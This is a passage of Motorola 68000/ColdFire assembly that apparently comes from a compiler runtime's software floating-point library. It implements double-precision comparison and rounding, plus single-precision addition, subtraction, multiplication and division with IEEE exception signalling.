| be adjusted here.
#endif
unlk a6
rts
Lcmpdf$a$gt$b:
movel IMM (GREATER),d0
#ifndef __mcoldfire__
moveml sp@+,d2-d7 | put back the registers
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6
rts
Lcmpdf$b$gt$a:
movel IMM (LESS),d0
#ifndef __mcoldfire__
moveml sp@+,d2-d7 | put back the registers
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6
rts
Lcmpdf$a$0:
bclr IMM (31),d6
bra Lcmpdf$0
Lcmpdf$b$0:
bclr IMM (31),d7
bra Lcmpdf$1
Lcmpdf$a$nf:
tstl d1
bne Ld$inop
bra Lcmpdf$0
Lcmpdf$b$nf:
tstl d3
bne Ld$inop
bra Lcmpdf$1
Lcmpd$inop:
movl a6@(24),d0
moveq IMM (INEXACT_RESULT+INVALID_OPERATION),d7
moveq IMM (DOUBLE_FLOAT),d6
PICJUMP $_exception_handler
| int __cmpdf2(double, double);
FUNC(__cmpdf2)
SYM (__cmpdf2):
link a6,IMM (0)
pea 1
movl a6@(20),sp@-
movl a6@(16),sp@-
movl a6@(12),sp@-
movl a6@(8),sp@-
PICCALL SYM (__cmpdf2_internal)
unlk a6
rts
|=============================================================================
| rounding routines
|=============================================================================
| The rounding routines expect the number to be normalized in registers
| d0-d1-d2-d3, with the exponent in register d4. They assume that the
| exponent is larger or equal to 1. They return a properly normalized number
| if possible, and a denormalized number otherwise. The exponent is returned
| in d4.
Lround$to$nearest:
| We now normalize as suggested by D. Knuth ("Seminumerical Algorithms"):
| Here we assume that the exponent is not too small (this should be checked
| before entering the rounding routine), but the number could be denormalized.
| Check for denormalized numbers:
1: btst IMM (DBL_MANT_DIG-32),d0
bne 2f | if set the number is normalized
| Normalize shifting left until bit #DBL_MANT_DIG-32 is set or the exponent
| is one (remember that a denormalized number corresponds to an
| exponent of -D_BIAS+1).
#ifndef __mcoldfire__
cmpw IMM (1),d4 | remember that the exponent is at least one
#else
cmpl IMM (1),d4 | remember that the exponent is at least one
#endif
beq 2f | an exponent of one means denormalized
addl d3,d3 | else shift and adjust the exponent
addxl d2,d2 |
addxl d1,d1 |
addxl d0,d0 |
#ifndef __mcoldfire__
dbra d4,1b |
#else
subql IMM (1), d4
bpl 1b
#endif
2:
| Now round: we do it as follows: after the shifting we can write the
| fraction part as f + delta, where 1 < f < 2^25, and 0 <= delta <= 2.
| If delta < 1, do nothing. If delta > 1, add 1 to f.
| If delta == 1, we make sure the rounded number will be even (odd?)
| (after shifting).
btst IMM (0),d1 | is delta < 1?
beq 2f | if so, do not do anything
orl d2,d3 | is delta == 1?
bne 1f | if so round to even
movel d1,d3 |
andl IMM (2),d3 | bit 1 is the last significant bit
movel IMM (0),d2 |
addl d3,d1 |
addxl d2,d0 |
bra 2f |
1: movel IMM (1),d3 | else add 1
movel IMM (0),d2 |
addl d3,d1 |
addxl d2,d0
| Shift right once (because we used bit #DBL_MANT_DIG-32!).
2:
#ifndef __mcoldfire__
lsrl IMM (1),d0
roxrl IMM (1),d1
#else
lsrl IMM (1),d1
btst IMM (0),d0
beq 10f
bset IMM (31),d1
10: lsrl IMM (1),d0
#endif
| Now check again bit #DBL_MANT_DIG-32 (rounding could have produced a
| 'fraction overflow' ...).
btst IMM (DBL_MANT_DIG-32),d0
beq 1f
#ifndef __mcoldfire__
lsrl IMM (1),d0
roxrl IMM (1),d1
addw IMM (1),d4
#else
lsrl IMM (1),d1
btst IMM (0),d0
beq 10f
bset IMM (31),d1
10: lsrl IMM (1),d0
addl IMM (1),d4
#endif
1:
| If bit #DBL_MANT_DIG-32-1 is clear we have a denormalized number, so we
| have to put the exponent to zero and return a denormalized number.
btst IMM (DBL_MANT_DIG-32-1),d0
beq 1f
jmp a0@
1: movel IMM (0),d4
jmp a0@
Lround$to$zero:
Lround$to$plus:
Lround$to$minus:
jmp a0@
#endif /* L_double */
#ifdef L_float
.globl SYM (_fpCCR)
.globl $_exception_handler
QUIET_NaN = 0xffffffff
SIGNL_NaN = 0x7f800001
INFINITY = 0x7f800000
F_MAX_EXP = 0xff
F_BIAS = 126
FLT_MAX_EXP = F_MAX_EXP - F_BIAS
FLT_MIN_EXP = 1 - F_BIAS
FLT_MANT_DIG = 24
INEXACT_RESULT = 0x0001
UNDERFLOW = 0x0002
OVERFLOW = 0x0004
DIVIDE_BY_ZERO = 0x0008
INVALID_OPERATION = 0x0010
SINGLE_FLOAT = 1
NOOP = 0
ADD = 1
MULTIPLY = 2
DIVIDE = 3
NEGATE = 4
COMPARE = 5
EXTENDSFDF = 6
TRUNCDFSF = 7
UNKNOWN = -1
ROUND_TO_NEAREST = 0 | round result to nearest representable value
ROUND_TO_ZERO = 1 | round result towards zero
ROUND_TO_PLUS = 2 | round result towards plus infinity
ROUND_TO_MINUS = 3 | round result towards minus infinity
| Entry points:
.globl SYM (__addsf3)
.globl SYM (__subsf3)
.globl SYM (__mulsf3)
.globl SYM (__divsf3)
.globl SYM (__negsf2)
.globl SYM (__cmpsf2)
.globl SYM (__cmpsf2_internal)
.hidden SYM (__cmpsf2_internal)
| These are common routines to return and signal exceptions.
.text
.even
Lf$den:
| Return and signal a denormalized number
orl d7,d0
moveq IMM (INEXACT_RESULT+UNDERFLOW),d7
moveq IMM (SINGLE_FLOAT),d6
PICJUMP $_exception_handler
Lf$infty:
Lf$overflow:
| Return a properly signed INFINITY and set the exception flags
movel IMM (INFINITY),d0
orl d7,d0
moveq IMM (INEXACT_RESULT+OVERFLOW),d7
moveq IMM (SINGLE_FLOAT),d6
PICJUMP $_exception_handler
Lf$underflow:
| Return 0 and set the exception flags
moveq IMM (0),d0
moveq IMM (INEXACT_RESULT+UNDERFLOW),d7
moveq IMM (SINGLE_FLOAT),d6
PICJUMP $_exception_handler
Lf$inop:
| Return a quiet NaN and set the exception flags
movel IMM (QUIET_NaN),d0
moveq IMM (INEXACT_RESULT+INVALID_OPERATION),d7
moveq IMM (SINGLE_FLOAT),d6
PICJUMP $_exception_handler
Lf$div$0:
| Return a properly signed INFINITY and set the exception flags
movel IMM (INFINITY),d0
orl d7,d0
moveq IMM (INEXACT_RESULT+DIVIDE_BY_ZERO),d7
moveq IMM (SINGLE_FLOAT),d6
PICJUMP $_exception_handler
|=============================================================================
|=============================================================================
| single precision routines
|=============================================================================
|=============================================================================
| A single precision floating point number (float) has the format:
|
| struct _float {
| unsigned int sign : 1; /* sign bit */
| unsigned int exponent : 8; /* exponent, shifted by 126 */
| unsigned int fraction : 23; /* fraction */
| } float;
|
| Thus sizeof(float) = 4 (32 bits).
|
| All the routines are callable from C programs, and return the result
| in the single register d0. They also preserve all registers except
| d0-d1 and a0-a1.
|=============================================================================
| __subsf3
|=============================================================================
| float __subsf3(float, float);
FUNC(__subsf3)
SYM (__subsf3):
bchg IMM (31),sp@(8) | change sign of second operand
| and fall through
|=============================================================================
| __addsf3
|=============================================================================
| float __addsf3(float, float);
FUNC(__addsf3)
SYM (__addsf3):
#ifndef __mcoldfire__
link a6,IMM (0) | everything will be done in registers
moveml d2-d7,sp@- | save all data registers but d0-d1
#else
link a6,IMM (-24)
moveml d2-d7,sp@
#endif
movel a6@(8),d0 | get first operand
movel a6@(12),d1 | get second operand
movel d0,a0 | get d0's sign bit '
addl d0,d0 | check and clear sign bit of a
beq Laddsf$b | if zero return second operand
movel d1,a1 | save b's sign bit '
addl d1,d1 | get rid of sign bit
beq Laddsf$a | if zero return first operand
| Get the exponents and check for denormalized and/or infinity.
movel IMM (0x00ffffff),d4 | mask to get fraction
movel IMM (0x01000000),d5 | mask to put hidden bit back
movel d0,d6 | save a to get exponent
andl d4,d0 | get fraction in d0
notl d4 | make d4 into a mask for the exponent
andl d4,d6 | get exponent in d6
beq Laddsf$a$den | branch if a is denormalized
cmpl d4,d6 | check for INFINITY or NaN
beq Laddsf$nf
swap d6 | put exponent into first word
orl d5,d0 | and put hidden bit back
Laddsf$1:
| Now we have a's exponent in d6 (second byte) and the mantissa in d0. '
movel d1,d7 | get exponent in d7
andl d4,d7 |
beq Laddsf$b$den | branch if b is denormalized
cmpl d4,d7 | check for INFINITY or NaN
beq Laddsf$nf
swap d7 | put exponent into first word
notl d4 | make d4 into a mask for the fraction
andl d4,d1 | get fraction in d1
orl d5,d1 | and put hidden bit back
Laddsf$2:
| Now we have b's exponent in d7 (second byte) and the mantissa in d1. '
| Note that the hidden bit corresponds to bit #FLT_MANT_DIG-1, and we
| shifted right once, so bit #FLT_MANT_DIG is set (so we have one extra
| bit).
movel d1,d2 | move b to d2, since we want to use
| two registers to do the sum
movel IMM (0),d1 | and clear the new ones
movel d1,d3 |
| Here we shift the numbers in registers d0 and d1 so the exponents are the
| same, and put the largest exponent in d6. Note that we are using two
| registers for each number (see the discussion by D. Knuth in "Seminumerical
| Algorithms").
#ifndef __mcoldfire__
cmpw d6,d7 | compare exponents
#else
cmpl d6,d7 | compare exponents
#endif
beq Laddsf$3 | if equal don't shift '
bhi 5f | branch if second exponent largest
1:
subl d6,d7 | keep the largest exponent
negl d7
#ifndef __mcoldfire__
lsrw IMM (8),d7 | put difference in lower byte
#else
lsrl IMM (8),d7 | put difference in lower byte
#endif
| if difference is too large we don't shift (actually, we can just exit) '
#ifndef __mcoldfire__
cmpw IMM (FLT_MANT_DIG+2),d7
#else
cmpl IMM (FLT_MANT_DIG+2),d7
#endif
bge Laddsf$b$small
#ifndef __mcoldfire__
cmpw IMM (16),d7 | if difference >= 16 swap
#else
cmpl IMM (16),d7 | if difference >= 16 swap
#endif
bge 4f
2:
#ifndef __mcoldfire__
subw IMM (1),d7
#else
subql IMM (1), d7
#endif
3:
#ifndef __mcoldfire__
lsrl IMM (1),d2 | shift right second operand
roxrl IMM (1),d3
dbra d7,3b
#else
lsrl IMM (1),d3
btst IMM (0),d2
beq 10f
bset IMM (31),d3
10: lsrl IMM (1),d2
subql IMM (1), d7
bpl 3b
#endif
bra Laddsf$3
4:
movew d2,d3
swap d3
movew d3,d2
swap d2
#ifndef __mcoldfire__
subw IMM (16),d7
#else
subl IMM (16),d7
#endif
bne 2b | if still more bits, go back to normal case
bra Laddsf$3
5:
#ifndef __mcoldfire__
exg d6,d7 | exchange the exponents
#else
eorl d6,d7
eorl d7,d6
eorl d6,d7
#endif
subl d6,d7 | keep the largest exponent
negl d7 |
#ifndef __mcoldfire__
lsrw IMM (8),d7 | put difference in lower byte
#else
lsrl IMM (8),d7 | put difference in lower byte
#endif
| if difference is too large we don't shift (and exit!) '
#ifndef __mcoldfire__
cmpw IMM (FLT_MANT_DIG+2),d7
#else
cmpl IMM (FLT_MANT_DIG+2),d7
#endif
bge Laddsf$a$small
#ifndef __mcoldfire__
cmpw IMM (16),d7 | if difference >= 16 swap
#else
cmpl IMM (16),d7 | if difference >= 16 swap
#endif
bge 8f
6:
#ifndef __mcoldfire__
subw IMM (1),d7
#else
subl IMM (1),d7
#endif
7:
#ifndef __mcoldfire__
lsrl IMM (1),d0 | shift right first operand
roxrl IMM (1),d1
dbra d7,7b
#else
lsrl IMM (1),d1
btst IMM (0),d0
beq 10f
bset IMM (31),d1
10: lsrl IMM (1),d0
subql IMM (1),d7
bpl 7b
#endif
bra Laddsf$3
8:
movew d0,d1
swap d1
movew d1,d0
swap d0
#ifndef __mcoldfire__
subw IMM (16),d7
#else
subl IMM (16),d7
#endif
bne 6b | if still more bits, go back to normal case
| otherwise we fall through
| Now we have a in d0-d1, b in d2-d3, and the largest exponent in d6 (the
| signs are stored in a0 and a1).
Laddsf$3:
| Here we have to decide whether to add or subtract the numbers
#ifndef __mcoldfire__
exg d6,a0 | get signs back
exg d7,a1 | and save the exponents
#else
movel d6,d4
movel a0,d6
movel d4,a0
movel d7,d4
movel a1,d7
movel d4,a1
#endif
eorl d6,d7 | combine sign bits
bmi Lsubsf$0 | if negative a and b have opposite
| sign so we actually subtract the
| numbers
| Here we have both positive or both negative
#ifndef __mcoldfire__
exg d6,a0 | now we have the exponent in d6
#else
movel d6,d4
movel a0,d6
movel d4,a0
#endif
movel a0,d7 | and sign in d7
andl IMM (0x80000000),d7
| Here we do the addition.
addl d3,d1
addxl d2,d0
| Note: now we have d2, d3, d4 and d5 to play with!
| Put the exponent, in the first byte, in d2, to use the "standard" rounding
| routines:
movel d6,d2
#ifndef __mcoldfire__
lsrw IMM (8),d2
#else
lsrl IMM (8),d2
#endif
| Before rounding normalize so bit #FLT_MANT_DIG is set (we will consider
| the case of denormalized numbers in the rounding routine itself).
| As in the addition (not in the subtraction!) we could have set
| one more bit we check this:
btst IMM (FLT_MANT_DIG+1),d0
beq 1f
#ifndef __mcoldfire__
lsrl IMM (1),d0
roxrl IMM (1),d1
#else
lsrl IMM (1),d1
btst IMM (0),d0
beq 10f
bset IMM (31),d1
10: lsrl IMM (1),d0
#endif
addl IMM (1),d2
1:
lea pc@(Laddsf$4),a0 | to return from rounding routine
PICLEA SYM (_fpCCR),a1 | check the rounding mode
#ifdef __mcoldfire__
clrl d6
#endif
movew a1@(6),d6 | rounding mode in d6
beq Lround$to$nearest
#ifndef __mcoldfire__
cmpw IMM (ROUND_TO_PLUS),d6
#else
cmpl IMM (ROUND_TO_PLUS),d6
#endif
bhi Lround$to$minus
blt Lround$to$zero
bra Lround$to$plus
Laddsf$4:
| Put back the exponent, but check for overflow.
#ifndef __mcoldfire__
cmpw IMM (0xff),d2
#else
cmpl IMM (0xff),d2
#endif
bhi 1f
bclr IMM (FLT_MANT_DIG-1),d0
#ifndef __mcoldfire__
lslw IMM (7),d2
#else
lsll IMM (7),d2
#endif
swap d2
orl d2,d0
bra Laddsf$ret
1:
moveq IMM (ADD),d5
bra Lf$overflow
Lsubsf$0:
| We are here if a > 0 and b < 0 (sign bits cleared).
| Here we do the subtraction.
movel d6,d7 | put sign in d7
andl IMM (0x80000000),d7
subl d3,d1 | result in d0-d1
subxl d2,d0 |
beq Laddsf$ret | if zero just exit
bpl 1f | if positive skip the following
bchg IMM (31),d7 | change sign bit in d7
negl d1
negxl d0
1:
#ifndef __mcoldfire__
exg d2,a0 | now we have the exponent in d2
lsrw IMM (8),d2 | put it in the first byte
#else
movel d2,d4
movel a0,d2
movel d4,a0
lsrl IMM (8),d2 | put it in the first byte
#endif
| Now d0-d1 is positive and the sign bit is in d7.
| Note that we do not have to normalize, since in the subtraction bit
| #FLT_MANT_DIG+1 is never set, and denormalized numbers are handled by
| the rounding routines themselves.
lea pc@(Lsubsf$1),a0 | to return from rounding routine
PICLEA SYM (_fpCCR),a1 | check the rounding mode
#ifdef __mcoldfire__
clrl d6
#endif
movew a1@(6),d6 | rounding mode in d6
beq Lround$to$nearest
#ifndef __mcoldfire__
cmpw IMM (ROUND_TO_PLUS),d6
#else
cmpl IMM (ROUND_TO_PLUS),d6
#endif
bhi Lround$to$minus
blt Lround$to$zero
bra Lround$to$plus
Lsubsf$1:
| Put back the exponent (we can't have overflow!). '
bclr IMM (FLT_MANT_DIG-1),d0
#ifndef __mcoldfire__
lslw IMM (7),d2
#else
lsll IMM (7),d2
#endif
swap d2
orl d2,d0
bra Laddsf$ret
| If one of the numbers was too small (difference of exponents >=
| FLT_MANT_DIG+2) we return the other (and now we don't have to '
| check for finiteness or zero).
Laddsf$a$small:
movel a6@(12),d0
PICLEA SYM (_fpCCR),a0
movew IMM (0),a0@
#ifndef __mcoldfire__
moveml sp@+,d2-d7 | restore data registers
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6 | and return
rts
Laddsf$b$small:
movel a6@(8),d0
PICLEA SYM (_fpCCR),a0
movew IMM (0),a0@
#ifndef __mcoldfire__
moveml sp@+,d2-d7 | restore data registers
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6 | and return
rts
| If the numbers are denormalized remember to put exponent equal to 1.
Laddsf$a$den:
movel d5,d6 | d5 contains 0x01000000
swap d6
bra Laddsf$1
Laddsf$b$den:
movel d5,d7
swap d7
notl d4 | make d4 into a mask for the fraction
| (this was not executed after the jump)
bra Laddsf$2
| The rest is mainly code for the different results which can be
| returned (checking always for +/-INFINITY and NaN).
Laddsf$b:
| Return b (if a is zero).
movel a6@(12),d0
cmpl IMM (0x80000000),d0 | Check if b is -0
bne 1f
movel a0,d7
andl IMM (0x80000000),d7 | Use the sign of a
clrl d0
bra Laddsf$ret
Laddsf$a:
| Return a (if b is zero).
movel a6@(8),d0
1:
moveq IMM (ADD),d5
| We have to check for NaN and +/-infty.
movel d0,d7
andl IMM (0x80000000),d7 | put sign in d7
bclr IMM (31),d0 | clear sign
cmpl IMM (INFINITY),d0 | check for infty or NaN
bge 2f
movel d0,d0 | check for zero (we do this because we don't '
bne Laddsf$ret | want to return -0 by mistake
bclr IMM (31),d7 | if zero be sure to clear sign
bra Laddsf$ret | if everything OK just return
2:
| The value to be returned is either +/-infty or NaN
andl IMM (0x007fffff),d0 | check for NaN
bne Lf$inop | if mantissa not zero is NaN
bra Lf$infty
Laddsf$ret:
| Normal exit (a and b nonzero, result is not NaN nor +/-infty).
| We have to clear the exception flags (just the exception type).
PICLEA SYM (_fpCCR),a0
movew IMM (0),a0@
orl d7,d0 | put sign bit
#ifndef __mcoldfire__
moveml sp@+,d2-d7 | restore data registers
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6 | and return
rts
Laddsf$ret$den:
| Return a denormalized number (for addition we don't signal underflow) '
lsrl IMM (1),d0 | remember to shift right back once
bra Laddsf$ret | and return
| Note: when adding two floats of the same sign if either one is
| NaN we return NaN without regard to whether the other is finite or
| not. When subtracting them (i.e., when adding two numbers of
| opposite signs) things are more complicated: if both are INFINITY
| we return NaN, if only one is INFINITY and the other is NaN we return
| NaN, but if it is finite we return INFINITY with the corresponding sign.
Laddsf$nf:
moveq IMM (ADD),d5
| This could be faster but it is not worth the effort, since it is not
| executed very often. We sacrifice speed for clarity here.
movel a6@(8),d0 | get the numbers back (remember that we
movel a6@(12),d1 | did some processing already)
movel IMM (INFINITY),d4 | useful constant (INFINITY)
movel d0,d2 | save sign bits
movel d1,d3
bclr IMM (31),d0 | clear sign bits
bclr IMM (31),d1
| We know that one of them is either NaN of +/-INFINITY
| Check for NaN (if either one is NaN return NaN)
cmpl d4,d0 | check first a (d0)
bhi Lf$inop
cmpl d4,d1 | check now b (d1)
bhi Lf$inop
| Now comes the check for +/-INFINITY. We know that both are (maybe not
| finite) numbers, but we have to check if both are infinite whether we
| are adding or subtracting them.
eorl d3,d2 | to check sign bits
bmi 1f
movel d0,d7
andl IMM (0x80000000),d7 | get (common) sign bit
bra Lf$infty
1:
| We know one (or both) are infinite, so we test for equality between the
| two numbers (if they are equal they have to be infinite both, so we
| return NaN).
cmpl d1,d0 | are both infinite?
beq Lf$inop | if so return NaN
movel d0,d7
andl IMM (0x80000000),d7 | get a's sign bit '
cmpl d4,d0 | test now for infinity
beq Lf$infty | if a is INFINITY return with this sign
bchg IMM (31),d7 | else we know b is INFINITY and has
bra Lf$infty | the opposite sign
|=============================================================================
| __mulsf3
|=============================================================================
| float __mulsf3(float, float);
FUNC(__mulsf3)
SYM (__mulsf3):
#ifndef __mcoldfire__
link a6,IMM (0)
moveml d2-d7,sp@-
#else
link a6,IMM (-24)
moveml d2-d7,sp@
#endif
movel a6@(8),d0 | get a into d0
movel a6@(12),d1 | and b into d1
movel d0,d7 | d7 will hold the sign of the product
eorl d1,d7 |
andl IMM (0x80000000),d7
movel IMM (INFINITY),d6 | useful constant (+INFINITY)
movel d6,d5 | another (mask for fraction)
notl d5 |
movel IMM (0x00800000),d4 | this is to put hidden bit back
bclr IMM (31),d0 | get rid of a's sign bit '
movel d0,d2 |
beq Lmulsf$a$0 | branch if a is zero
bclr IMM (31),d1 | get rid of b's sign bit '
movel d1,d3 |
beq Lmulsf$b$0 | branch if b is zero
cmpl d6,d0 | is a big?
bhi Lmulsf$inop | if a is NaN return NaN
beq Lmulsf$inf | if a is INFINITY we have to check b
cmpl d6,d1 | now compare b with INFINITY
bhi Lmulsf$inop | is b NaN?
beq Lmulsf$overflow | is b INFINITY?
| Here we have both numbers finite and nonzero (and with no sign bit).
| Now we get the exponents into d2 and d3.
andl d6,d2 | and isolate exponent in d2
beq Lmulsf$a$den | if exponent is zero we have a denormalized
andl d5,d0 | and isolate fraction
orl d4,d0 | and put hidden bit back
swap d2 | I like exponents in the first byte
#ifndef __mcoldfire__
lsrw IMM (7),d2 |
#else
lsrl IMM (7),d2 |
#endif
Lmulsf$1: | number
andl d6,d3 |
beq Lmulsf$b$den |
andl d5,d1 |
orl d4,d1 |
swap d3 |
#ifndef __mcoldfire__
lsrw IMM (7),d3 |
#else
lsrl IMM (7),d3 |
#endif
Lmulsf$2: |
#ifndef __mcoldfire__
addw d3,d2 | add exponents
subw IMM (F_BIAS+1),d2 | and subtract bias (plus one)
#else
addl d3,d2 | add exponents
subl IMM (F_BIAS+1),d2 | and subtract bias (plus one)
#endif
| We are now ready to do the multiplication. The situation is as follows:
| both a and b have bit FLT_MANT_DIG-1 set (even if they were
| denormalized to start with!), which means that in the product
| bit 2*(FLT_MANT_DIG-1) (that is, bit 2*FLT_MANT_DIG-2-32 of the
| high long) is set.
| To do the multiplication let us move the number a little bit around ...
movel d1,d6 | second operand in d6
movel d0,d5 | first operand in d4-d5
movel IMM (0),d4
movel d4,d1 | the sums will go in d0-d1
movel d4,d0
| now bit FLT_MANT_DIG-1 becomes bit 31:
lsll IMM (31-FLT_MANT_DIG+1),d6
| Start the loop (we loop #FLT_MANT_DIG times):
moveq IMM (FLT_MANT_DIG-1),d3
1: addl d1,d1 | shift sum
addxl d0,d0
lsll IMM (1),d6 | get bit bn
bcc 2f | if not set skip sum
addl d5,d1 | add a
addxl d4,d0
2:
#ifndef __mcoldfire__
dbf d3,1b | loop back
#else
subql IMM (1),d3
bpl 1b
#endif
| Now we have the product in d0-d1, with bit (FLT_MANT_DIG - 1) + FLT_MANT_DIG
| (mod 32) of d0 set. The first thing to do now is to normalize it so bit
| FLT_MANT_DIG is set (to do the rounding).
#ifndef __mcoldfire__
rorl IMM (6),d1
swap d1
movew d1,d3
andw IMM (0x03ff),d3
andw IMM (0xfd00),d1
#else
movel d1,d3
lsll IMM (8),d1
addl d1,d1
addl d1,d1
moveq IMM (22),d5
lsrl d5,d3
orl d3,d1
andl IMM (0xfffffd00),d1
#endif
lsll IMM (8),d0
addl d0,d0
addl d0,d0
#ifndef __mcoldfire__
orw d3,d0
#else
orl d3,d0
#endif
moveq IMM (MULTIPLY),d5
btst IMM (FLT_MANT_DIG+1),d0
beq Lround$exit
#ifndef __mcoldfire__
lsrl IMM (1),d0
roxrl IMM (1),d1
addw IMM (1),d2
#else
lsrl IMM (1),d1
btst IMM (0),d0
beq 10f
bset IMM (31),d1
10: lsrl IMM (1),d0
addql IMM (1),d2
#endif
bra Lround$exit
Lmulsf$inop:
moveq IMM (MULTIPLY),d5
bra Lf$inop
Lmulsf$overflow:
moveq IMM (MULTIPLY),d5
bra Lf$overflow
Lmulsf$inf:
moveq IMM (MULTIPLY),d5
| If either is NaN return NaN; else both are (maybe infinite) numbers, so
| return INFINITY with the correct sign (which is in d7).
cmpl d6,d1 | is b NaN?
bhi Lf$inop | if so return NaN
bra Lf$overflow | else return +/-INFINITY
| If either number is zero return zero, unless the other is +/-INFINITY,
| or NaN, in which case we return NaN.
Lmulsf$b$0:
| Here d1 (==b) is zero.
movel a6@(8),d1 | get a again to check for non-finiteness
bra 1f
Lmulsf$a$0:
movel a6@(12),d1 | get b again to check for non-finiteness
1: bclr IMM (31),d1 | clear sign bit
cmpl IMM (INFINITY),d1 | and check for a large exponent
bge Lf$inop | if b is +/-INFINITY or NaN return NaN
movel d7,d0 | else return signed zero
PICLEA SYM (_fpCCR),a0 |
movew IMM (0),a0@ |
#ifndef __mcoldfire__
moveml sp@+,d2-d7 |
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6 |
rts |
| If a number is denormalized we put an exponent of 1 but do not put the
| hidden bit back into the fraction; instead we shift left until bit 23
| (the hidden bit) is set, adjusting the exponent accordingly. We do this
| to ensure that the product of the fractions is close to 1.
Lmulsf$a$den:
movel IMM (1),d2
andl d5,d0
1: addl d0,d0 | shift a left (until bit 23 is set)
#ifndef __mcoldfire__
subw IMM (1),d2 | and adjust exponent
#else
subql IMM (1),d2 | and adjust exponent
#endif
btst IMM (FLT_MANT_DIG-1),d0
bne Lmulsf$1 |
bra 1b | else loop back
Lmulsf$b$den:
movel IMM (1),d3
andl d5,d1
1: addl d1,d1 | shift b left until bit 23 is set
#ifndef __mcoldfire__
subw IMM (1),d3 | and adjust exponent
#else
subql IMM (1),d3 | and adjust exponent
#endif
btst IMM (FLT_MANT_DIG-1),d1
bne Lmulsf$2 |
bra 1b | else loop back
|=============================================================================
| __divsf3
|=============================================================================
| float __divsf3(float, float);
FUNC(__divsf3)
SYM (__divsf3):
#ifndef __mcoldfire__
link a6,IMM (0)
moveml d2-d7,sp@-
#else
link a6,IMM (-24)
moveml d2-d7,sp@
#endif
movel a6@(8),d0 | get a into d0
movel a6@(12),d1 | and b into d1
movel d0,d7 | d7 will hold the sign of the result
eorl d1,d7 |
andl IMM (0x80000000),d7 |
movel IMM (INFINITY),d6 | useful constant (+INFINITY)
movel d6,d5 | another (mask for fraction)
notl d5 |
movel IMM (0x00800000),d4 | this is to put hidden bit back
bclr IMM (31),d0 | get rid of a's sign bit '
movel d0,d2 |
beq Ldivsf$a$0 | branch if a is zero
bclr IMM (31),d1 | get rid of b's sign bit '
movel d1,d3 |
beq Ldivsf$b$0 | branch if b is zero
cmpl d6,d0 | is a big?
bhi Ldivsf$inop | if a is NaN return NaN
beq Ldivsf$inf | if a is INFINITY we have to check b
cmpl d6,d1 | now compare b with INFINITY
bhi Ldivsf$inop | if b is NaN return NaN
beq Ldivsf$underflow
| Here we have both numbers finite and nonzero (and with no sign bit).
| Now we get the exponents into d2 and d3 and normalize the numbers to
| ensure that the ratio of the fractions is close to 1. We do this by
| making sure that bit #FLT_MANT_DIG-1 (hidden bit) is set.
andl d6,d2 | and isolate exponent in d2
beq Ldivsf$a$den | if exponent is zero we have a denormalized
andl d5,d0 | and isolate fraction
orl d4,d0 | and put hidden bit back
swap d2 | I like exponents in the first byte
#ifndef __mcoldfire__
lsrw IMM (7),d2 |
#else
lsrl IMM (7),d2 |
#endif
Ldivsf$1: |
andl d6,d3 |
beq Ldivsf$b$den |
andl d5,d1 |
orl d4,d1 |
swap d3 |
#ifndef __mcoldfire__
lsrw IMM (7),d3 |
#else
lsrl IMM (7),d3 |
#endif
Ldivsf$2: |
#ifndef __mcoldfire__
subw d3,d2 | subtract exponents
addw IMM (F_BIAS),d2 | and add bias
#else
subl d3,d2 | subtract exponents
addl IMM (F_BIAS),d2 | and add bias
#endif
| We are now ready to do the division. We have prepared things in such a way
| that the ratio of the fractions will be less than 2 but greater than 1/2.
| At this point the registers in use are:
| d0 holds a (first operand, bit FLT_MANT_DIG=0, bit FLT_MANT_DIG-1=1)
| d1 holds b (second operand, bit FLT_MANT_DIG=1)
| d2 holds the difference of the exponents, corrected by the bias
| d7 holds the sign of the ratio
| d4, d5, d6 hold some constants
movel d7,a0 | d6-d7 will hold the ratio of the fractions
movel IMM (0),d6 |
movel d6,d7
moveq IMM (FLT_MANT_DIG+1),d3
1: cmpl d0,d1 | is a < b?
bhi 2f |
bset d3,d6 | set a bit in d6
subl d1,d0 | if a >= b a <-- a-b
beq 3f | if a is zero, exit
2: addl d0,d0 | multiply a by 2
#ifndef __mcoldfire__
dbra d3,1b
#else
subql IMM (1),d3
bpl 1b
#endif
| Now we keep going to set the sticky bit ...
moveq IMM (FLT_MANT_DIG),d3
1: cmpl d0,d1
ble 2f
addl d0,d0
#ifndef __mcoldfire__
dbra d3,1b
#else
subql IMM(1),d3
bpl 1b
#endif
movel IMM (0),d1
bra 3f
2: movel IMM (0),d1
#ifndef __mcoldfire__
subw IMM (FLT_MANT_DIG),d3
addw IMM (31),d3
#else
subl IMM (FLT_MANT_DIG),d3
addl IMM (31),d3
#endif
bset d3,d1
3:
movel d6,d0 | put the ratio in d0-d1
movel a0,d7 | get sign back
| Because of the normalization we did before we are guaranteed that
| d0 is smaller than 2^26 but larger than 2^24. Thus bit 26 is not set,
| bit 25 could be set, and if it is not set then bit 24 is necessarily set.
btst IMM (FLT_MANT_DIG+1),d0
beq 1f | if it is not set, then bit 24 is set
lsrl IMM (1),d0 |
#ifndef __mcoldfire__
addw IMM (1),d2 |
#else
addl IMM (1),d2 |
#endif
1:
| Now round, check for over- and underflow, and exit.
moveq IMM (DIVIDE),d5
bra Lround$exit
Ldivsf$inop:
moveq IMM (DIVIDE),d5
bra Lf$inop
Ldivsf$overflow:
moveq IMM (DIVIDE),d5
bra Lf$overflow
Ldivsf$underflow:
moveq IMM (DIVIDE),d5
bra Lf$underflow
Ldivsf$a$0:
moveq IMM (DIVIDE),d5
| If a is zero check to see whether b is zero also. In that case return
| NaN; then check if b is NaN, and return NaN also in that case. Else
| return a properly signed zero.
andl IMM (0x7fffffff),d1 | clear sign bit and test b
beq Lf$inop | if b is also zero return NaN
cmpl IMM (INFINITY),d1 | check for NaN
bhi Lf$inop |
movel d7,d0 | else return signed zero
PICLEA SYM (_fpCCR),a0 |
movew IMM (0),a0@ |
#ifndef __mcoldfire__
moveml sp@+,d2-d7 |
#else
moveml sp@,d2-d7 |
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6 |
rts |
Ldivsf$b$0:
